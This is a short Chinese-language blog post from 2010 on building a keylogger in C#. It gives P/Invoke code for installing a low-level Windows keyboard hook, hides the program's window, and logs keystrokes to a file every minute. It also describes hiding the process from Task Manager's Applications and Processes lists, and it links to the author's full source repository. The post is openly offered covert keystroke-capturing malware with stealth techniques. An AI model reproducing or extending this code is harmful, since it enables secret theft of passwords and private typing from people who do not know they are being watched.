使用C#做键盘记录器
2010-10-31 15:54 by hackerzhou代码放到SVN上了,地址:http://hackerzhou.googlecode.com/svn/trunk/CSharp/KeyLogger/
主要思路就是通过WH_KEYBOARD_LL这个LowLevel的钩子来获取用户输入(用WH_KEYBOARD不行),但是作用于仅限于WinForm程序,如果新建一个控制台程序就不能通过这个钩子获取用户键盘输入。解决方法很简单,隐藏掉这个Form就行了
this.ClientSize = new System.Drawing.Size(116, 0); this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; this.Opacity = 0D; this.ShowIcon = false; this.ShowInTaskbar = false; this.WindowState = System.Windows.Forms.FormWindowState.Minimized;
设置钩子的方法网上有介绍,大致就是引入user32.dll进行钩子的操作
//安装钩子的API [DllImport("user32.dll", CharSet = CharSet.Auto,CallingConvention = CallingConvention.StdCall , SetLastError = true)] private static extern int SetWindowsHookEx(int idHook,HookProc lpfn,IntPtr hMod,int dwThreadId); //移除钩子的API,程序关闭的时候不要忘了移除钩子 [DllImport("user32.dll", CharSet = CharSet.Auto,CallingConvention = CallingConvention.StdCall , SetLastError = true)] private static extern int UnhookWindowsHookEx(int idHook); //记录好键盘输入之后还得把这个事件传递到下一个handler中去,否则就视为取消了这个事件 [DllImport("user32.dll", CharSet = CharSet.Auto,CallingConvention = CallingConvention.StdCall)] private static extern int CallNextHookEx(int idHook,int nCode,int wParam,IntPtr lParam); //用这种方式得到ModuleHandle比较保险 [DllImport("kernel32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] private static extern IntPtr GetModuleHandle(string lpModuleName); //然后设定键盘事件的委托 private delegate int HookProc(int nCode, int wParam, IntPtr lParam); private int KeyboardHookProc(int nCode, Int32 wParam, IntPtr lParam) { bool handled = false; //Do your job... if (handled) return 1; else return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam); } //安装钩子的代码 KeyboardHookProcedure = new HookProc(KeyboardHookProc); hKeyboardHook = SetWindowsHookEx( WH_KEYBOARD_LL, KeyboardHookProcedure, GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName), 0); //移除钩子的代码 UnhookWindowsHookEx(hKeyboardHook);
在Form1.cs中我用了一个StringBuffer,每隔一分钟写入当前缓冲到文件中。进行到这一步,大家发现这个键盘记录器已经初具功能了。但是我还想做点隐藏,比如,从任务管理器(taskmgr)中的“应用程序”和“进程”两项隐藏掉exe。在网上发现了一个很土但是能凑效的方法,就是捕获taskmgr进程的窗体,从应用程序和进程这两个标签页中的listview中删除我们指定的exe。大家可以看HideTaskmgrList这个类,我改了一下,原先作者的版本只能隐藏进程,但是在应用程序这里还是能发现蛛丝马迹,我模仿着处理了应用程序这个列表。不过,这个土方法只能使用taskmgr这个进程,如果在命令行下运行tasklist还是会被现出原形。